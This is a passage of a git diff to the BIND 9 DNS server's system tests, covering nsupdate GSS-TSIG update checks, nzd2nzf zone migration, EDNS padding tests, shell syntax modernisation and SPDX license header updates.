+  grep "status: NOERROR" dig.out.ns10.pre.test$n > /dev/null || ret=1
+  grep "ANSWER: 1," dig.out.ns10.pre.test$n > /dev/null || ret=1
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone example.com
+  update delete single.any.self-srv.example.com
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 single.any.self-srv.example.com SRV > dig.out.ns10.test$n
+  grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n+1))
+  ret=0
+  echo_i "check ms-subdomain-self-rhs delete ANY (matching SRV with non-matching SRV) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${PORT}
+  zone example.com
+  update delete many.any.self-srv.example.com
+  send
+EOF
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
+  $DIG $DIGOPTS +tcp @10.53.0.10 many.any.self-srv.example.com SRV > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "ANSWER: 2," dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
+
+  n=$((n + 1))
   ret=0
   echo_i "check ms-selfsub match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns10/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE -d << EOF > nsupdate.out-$n 2>&1 || ret=1
+  $NSUPDATE -d << EOF > nsupdate.out.test$n 2>&1 || ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.10 ${PORT}
@@ -1440,12 +2494,12 @@ EOF
   grep "xxx.machine.example.com..*A.*10.53.0.10" dig.out.ns10.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
-  n=`expr $n + 1`
+  n=$((n + 1))
   ret=0
   echo_i "check ms-selfsub no-match ($n)"
-  KRB5CCNAME="FILE:"`pwd`/ns10/machine.ccache
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
   export KRB5CCNAME
-  $NSUPDATE << EOF > nsupdate.out-$n 2>&1 && ret=1
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 && ret=1
   gsstsig
   realm EXAMPLE.COM
   server 10.53.0.10 ${PORT}
@@ -1453,11 +2507,28 @@ EOF
   update add foo.example.com 3600 IN A 10.53.0.10
   send
 EOF
-  grep "update failed: REFUSED" nsupdate.out-$n > /dev/null || ret=1
+  grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
   $DIG $DIGOPTS +tcp @10.53.0.10 foo.example.com A > dig.out.ns10.test$n
   grep "status: NXDOMAIN" dig.out.ns10.test$n > /dev/null || ret=1
   [ $ret = 0 ] || { echo_i "failed"; status=1; }
 
+  n=$((n + 1))
+  ret=0
+  echo_i "check ms-selfsub match using DoT (opportunistic-tls) ($n)"
+  KRB5CCNAME="FILE:$(pwd)/ns10/machine.ccache"
+  export KRB5CCNAME
+  $NSUPDATE -d -S -O << EOF > nsupdate.out.test$n 2>&1 || ret=1
+  gsstsig
+  realm EXAMPLE.COM
+  server 10.53.0.10 ${TLSPORT}
+  zone example.com
+  update add dot.machine.example.com 3600 IN A 10.53.0.10
+  send
+EOF
+  $DIG $DIGOPTS +tcp @10.53.0.10 dot.machine.example.com A > dig.out.ns10.test$n
+  grep "status: NOERROR" dig.out.ns10.test$n > /dev/null || ret=1
+  grep "dot.machine.example.com..*A.*10.53.0.10" dig.out.ns10.test$n > /dev/null || ret=1
+  [ $ret = 0 ] || { echo_i "failed"; status=1; }
 fi
 
 echo_i "exit status: $status"
diff --git a/bin/tests/system/nsupdate/tests_sh_nsupdate.py b/bin/tests/system/nsupdate/tests_sh_nsupdate.py
new file mode 100644
index 0000000000..897eb08316
--- /dev/null
+++ b/bin/tests/system/nsupdate/tests_sh_nsupdate.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_nsupdate(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/nsupdate/update_test.pl b/bin/tests/system/nsupdate/update_test.pl
index 987c210763..835f1f88c7 100644
--- a/bin/tests/system/nsupdate/update_test.pl
+++ b/bin/tests/system/nsupdate/update_test.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/nzd2nzf/clean.sh b/bin/tests/system/nzd2nzf/clean.sh
index c3c27f4ea1..9b826ca0fa 100644
--- a/bin/tests/system/nzd2nzf/clean.sh
+++ b/bin/tests/system/nzd2nzf/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/nzd2nzf/ns1/added.db b/bin/tests/system/nzd2nzf/ns1/added.db
index 9b54d19204..286e717532 100644
--- a/bin/tests/system/nzd2nzf/ns1/added.db
+++ b/bin/tests/system/nzd2nzf/ns1/added.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/nzd2nzf/ns1/named.conf.in b/bin/tests/system/nzd2nzf/ns1/named.conf.in
index 2a0fb7e9c7..91ebc66e1f 100644
--- a/bin/tests/system/nzd2nzf/ns1/named.conf.in
+++ b/bin/tests/system/nzd2nzf/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,11 +19,12 @@ options {
 	allow-query { any; };
 	recursion no;
 	allow-new-zones yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/nzd2nzf/prereq.sh b/bin/tests/system/nzd2nzf/prereq.sh
new file mode 100644
index 0000000000..7c9e25dd1c
--- /dev/null
+++ b/bin/tests/system/nzd2nzf/prereq.sh
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+$FEATURETEST --with-lmdb || {
+	echo_i "This test requires LMDB support." >&2
+	exit 255
+}
+exit 0
diff --git a/bin/tests/system/nzd2nzf/setup.sh b/bin/tests/system/nzd2nzf/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/nzd2nzf/setup.sh
+++ b/bin/tests/system/nzd2nzf/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/nzd2nzf/tests.sh b/bin/tests/system/nzd2nzf/tests.sh
index 58a4eece4b..2cfc58f0f1 100644
--- a/bin/tests/system/nzd2nzf/tests.sh
+++ b/bin/tests/system/nzd2nzf/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 dig_with_opts() {
@@ -30,8 +36,7 @@ status=$((status+ret))
 
 n=$((n+1))
 echo_i "adding a new zone into default NZD using rndc addzone ($n)"
-rndccmd 10.53.0.1 addzone "added.example { type master; file \"added.db\";
-};" 2>&1 | sed 's/^/I:ns1 /' | cat_i
+rndccmd 10.53.0.1 addzone 'added.example { type primary; file "added.db"; };' 2>&1 | sed 's/^/I:ns1 /' | cat_i
 sleep 2
 
 n=$((n+1))
@@ -43,7 +48,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "stopping ns1"
-$PERL ../stop.pl nzd2nzf ns1
+stop_server ns1
 
 n=$((n+1))
 echo_i "dumping _default.nzd to _default.nzf ($n)"
@@ -53,7 +58,7 @@ status=$((status+ret))
 
 n=$((n+1))
 echo_i "checking that _default.nzf contains the expected content ($n)"
-grep 'zone "added.example" { type master; file "added.db"; };' ns1/_default.nzf > /dev/null || ret=1
+grep 'zone "added.example" { type primary; file "added.db"; };' ns1/_default.nzf > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -61,7 +66,7 @@ echo_i "deleting _default.nzd database"
 rm -f ns1/_default.nzd
 
 echo_i "starting ns1 which should migrate the .nzf to .nzd"
-start_server --noclean --restart --port ${PORT} nzd2nzf ns1
+start_server --noclean --restart --port ${PORT} ns1
 
 n=$((n+1))
 echo_i "querying for zone data from migrated zone config ($n)"
diff --git a/bin/tests/system/nzd2nzf/tests_sh_nzd2nzf.py b/bin/tests/system/nzd2nzf/tests_sh_nzd2nzf.py
new file mode 100644
index 0000000000..b0304516d0
--- /dev/null
+++ b/bin/tests/system/nzd2nzf/tests_sh_nzd2nzf.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_nzd2nzf(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/org.isc.bind.system b/bin/tests/system/org.isc.bind.system
index 49004bba2b..6c5a8cd4fe 100644
--- a/bin/tests/system/org.isc.bind.system
+++ b/bin/tests/system/org.isc.bind.system
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,19 @@
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-for ns in 1 2 3 4 5 6 7 8
+# see also ifconfig.sh.in and testsock.pl
+
+ifup() {
+	/sbin/ifconfig lo0 10.53.$1.$3 alias
+	/sbin/ifconfig lo0 inet6 fd92:7065:b8e:${2}ff::${3} alias
+}
+
+for ns in 1 2 3 4 5 6 7 8 9 10 11
+do
+	ifup 0 ff $ns
+done
+for ns in 1 2
 do
-	/sbin/ifconfig lo0 10.53.0.$ns alias
-	/sbin/ifconfig lo0 inet6 fd92:7065:b8e:ffff::$ns alias
+	ifup 1 99 $ns
+	ifup 2 00 $ns
 done
diff --git a/bin/tests/system/packet.pl b/bin/tests/system/packet.pl
index 0917c2d61a..900a0c071e 100644
--- a/bin/tests/system/packet.pl
+++ b/bin/tests/system/packet.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/padding/clean.sh b/bin/tests/system/padding/clean.sh
index c3c928ff04..eef21748c3 100644
--- a/bin/tests/system/padding/clean.sh
+++ b/bin/tests/system/padding/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/padding/ns1/named.conf.in b/bin/tests/system/padding/ns1/named.conf.in
index 88e0781ee8..32dbf90056 100644
--- a/bin/tests/system/padding/ns1/named.conf.in
+++ b/bin/tests/system/padding/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,11 +21,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/padding/ns1/root.db b/bin/tests/system/padding/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/padding/ns1/root.db
+++ b/bin/tests/system/padding/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/padding/ns2/example.db b/bin/tests/system/padding/ns2/example.db
index 656a186285..f6a4b03d99 100644
--- a/bin/tests/system/padding/ns2/example.db
+++ b/bin/tests/system/padding/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/padding/ns2/named.conf.in b/bin/tests/system/padding/ns2/named.conf.in
index fba1fcaf73..10ba86b624 100644
--- a/bin/tests/system/padding/ns2/named.conf.in
+++ b/bin/tests/system/padding/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -29,6 +31,7 @@ options {
 	recursion yes;
 	send-cookie yes;
 	response-padding { !10.53.0.8; any; } block-size 64;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/padding/ns3/named.conf.in b/bin/tests/system/padding/ns3/named.conf.in
index 9345966a25..a719249690 100644
--- a/bin/tests/system/padding/ns3/named.conf.in
+++ b/bin/tests/system/padding/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify yes;
+	dnssec-validation no;
 };
 
 server 10.53.0.2 {
@@ -29,7 +32,7 @@ server 10.53.0.2 {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/padding/ns4/named.conf.in b/bin/tests/system/padding/ns4/named.conf.in
index 913622b37f..6828f2ab95 100644
--- a/bin/tests/system/padding/ns4/named.conf.in
+++ b/bin/tests/system/padding/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify yes;
+	dnssec-validation no;
 };
 
 server 10.53.0.2 {
@@ -29,7 +32,7 @@ server 10.53.0.2 {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/padding/setup.sh b/bin/tests/system/padding/setup.sh
index 963c9ae95b..594ae98d9d 100644
--- a/bin/tests/system/padding/setup.sh
+++ b/bin/tests/system/padding/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/padding/tests.sh b/bin/tests/system/padding/tests.sh
index e59ad8055b..c952537826 100644
--- a/bin/tests/system/padding/tests.sh
+++ b/bin/tests/system/padding/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 n=0
@@ -25,107 +29,107 @@ getcookie() {
 
 echo_i "checking that dig handles padding ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +qr +padding=128 foo.example @10.53.0.2 > dig.out.test$n
 grep "; PAD" dig.out.test$n > /dev/null || ret=1
 grep "; QUERY SIZE: 128" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that dig added padding ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 nextpart ns2/named.stats > /dev/null
 $RNDCCMD 10.53.0.2 stats
 wait_for_log_peek 5 "--- Statistics Dump ---" ns2/named.stats || ret=1
 nextpart ns2/named.stats | grep "EDNS padding option received" > /dev/null || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that padding is added for TCP responses ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +vc +padding=128 foo.example @10.53.0.2 > dig.out.test$n
 grep "; PAD" dig.out.test$n > /dev/null || ret=1
 grep "rcvd: 128" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that padding is added to valid cookie responses ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +cookie foo.example @10.53.0.2 > dig.out.testc
-cookie=`getcookie dig.out.testc`
+cookie=$(getcookie dig.out.testc)
 $DIG $DIGOPTS +cookie=$cookie +padding=128 foo.example @10.53.0.2 > dig.out.test$n
 grep "; PAD" dig.out.test$n > /dev/null || ret=1
 grep "rcvd: 128" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that padding must be requested (TCP) ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +vc foo.example @10.53.0.2 > dig.out.test$n
 grep "; PAD" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that padding must be requested (valid cookie) ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +cookie=$cookie foo.example @10.53.0.2 > dig.out.test$n
 grep "; PAD" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that padding can be filtered out ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +vc +padding=128 -b 10.53.0.8 foo.example @10.53.0.2 > dig.out.test$n
 grep "; PAD" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that a TCP and padding server config enables padding ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 nextpart ns2/named.stats > /dev/null
 $RNDCCMD 10.53.0.2 stats
 wait_for_log_peek 5 "--- Statistics Dump ---" ns2/named.stats || ret=1
-opad=`nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}'`
+opad=$(nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}')
 $DIG $DIGOPTS foo.example @10.53.0.3 > dig.out.test$n
 $RNDCCMD 10.53.0.2 stats
 wait_for_log_peek 5 "--- Statistics Dump ---" ns2/named.stats || ret=1
-npad=`nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}'`
+npad=$(nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}')
 if [ "$opad" -eq "$npad" ]; then echo_i "error: opad ($opad) == npad ($npad)"; ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that a padding server config should enforce TCP ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 nextpart ns2/named.stats > /dev/null
 $RNDCCMD 10.53.0.2 stats
 wait_for_log_peek 5 "--- Statistics Dump ---" ns2/named.stats || ret=1
-opad=`nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}'`
+opad=$(nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}')
 $DIG $DIGOPTS foo.example @10.53.0.4 > dig.out.test$n
 $RNDCCMD 10.53.0.2 stats
 wait_for_log_peek 5 "--- Statistics Dump ---" ns2/named.stats || ret=1
-npad=`nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}'`
+npad=$(nextpart ns2/named.stats | awk '/EDNS padding option received/ { print $1}')
 if [ "$opad" -ne "$npad" ]; then echo_i "error: opad ($opad) != npad ($npad)"; ret=1; fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that zero-length padding option has no effect ($n)"
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 $DIG $DIGOPTS +qr +ednsopt=12 foo.example @10.53.0.2 > dig.out.test$n.1
 grep "; PAD" dig.out.test$n.1 > /dev/null || ret=1
 $DIG $DIGOPTS +qr +ednsopt=12:00 foo.example @10.53.0.2 > dig.out.test$n.2
 grep "; PAD" dig.out.test$n.2 > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/padding/tests_sh_padding.py b/bin/tests/system/padding/tests_sh_padding.py
new file mode 100644
index 0000000000..a2eec7cd60
--- /dev/null
+++ b/bin/tests/system/padding/tests_sh_padding.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_padding(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/parallel.sh b/bin/tests/system/parallel.sh
deleted file mode 100644
index 230f287728..0000000000
--- a/bin/tests/system/parallel.sh
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-. ./conf.sh
-
-PARALLELS=$(echo "$PARALLELDIRS" | sed "s|\([^ ][^ ]*\)|test-\1|g;" | tr _ - | tr "\n" " ")
-
-echo ".PHONY: $PARALLELS"
-echo
-echo "check_interfaces:"
-echo "	@${PERL} testsock.pl > /dev/null 2>&1 || { \\"
-echo "		echo \"I:NOTE: System tests were skipped because they require the\"; \\"
-echo "		echo \"I:      test IP addresses 10.53.0.* to be configured as alias\"; \\"
